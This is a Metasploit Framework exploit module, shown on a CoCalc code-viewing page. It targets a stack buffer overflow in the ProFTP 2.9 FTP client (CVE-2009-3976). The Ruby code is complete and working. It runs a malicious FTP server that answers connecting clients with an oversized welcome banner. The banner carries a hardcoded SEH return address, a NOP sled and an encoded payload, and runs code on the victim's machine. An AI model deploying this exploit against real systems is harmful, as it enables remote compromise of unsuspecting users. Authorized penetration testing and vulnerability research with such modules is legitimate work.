CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/proftp_banner.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::TcpServer
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'ProFTP 2.9 Banner Remote Buffer Overflow',
14
'Description' => %q{
15
This module exploits a buffer overflow in the ProFTP 2.9
16
client that is triggered through an excessively long welcome message.
17
},
18
'Author' => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
19
'License' => MSF_LICENSE,
20
'References' =>
21
[
22
[ 'CVE', '2009-3976' ],
23
[ 'OSVDB', '57394' ],
24
[ 'URL', 'http://www.labtam-inc.com/index.php?act=products&pid=1' ],
25
],
26
'DefaultOptions' =>
27
{
28
'EXITFUNC' => 'seh',
29
},
30
'Payload' =>
31
{
32
'Space' => 1000,
33
'BadChars' => "\x00\x0a\x0d\x20",
34
'StackAdjustment' => -3500,
35
},
36
'Platform' => 'win',
37
'Targets' =>
38
[
39
# Tested against - XP SP3 English OK.
40
[ 'Universal', { 'Ret' => 0x6809d408 } ], # WCMDPA10 (part of ProFTP)
41
],
42
'Privileged' => false,
43
'DefaultTarget' => 0,
44
'DisclosureDate' => '2009-08-25'))
45
46
register_options(
47
[
48
OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
49
])
50
end
51
52
def on_client_connect(client)
53
return if ((p = regenerate_payload(client)) == nil)
54
55
buffer = "220 "
56
buffer << rand_text_numeric(2064)
57
buffer << [target.ret].pack('V')
58
buffer << make_nops(20)
59
buffer << payload.encoded
60
buffer << "\r\n"
61
client.put(buffer)
62
end
63
end
64
65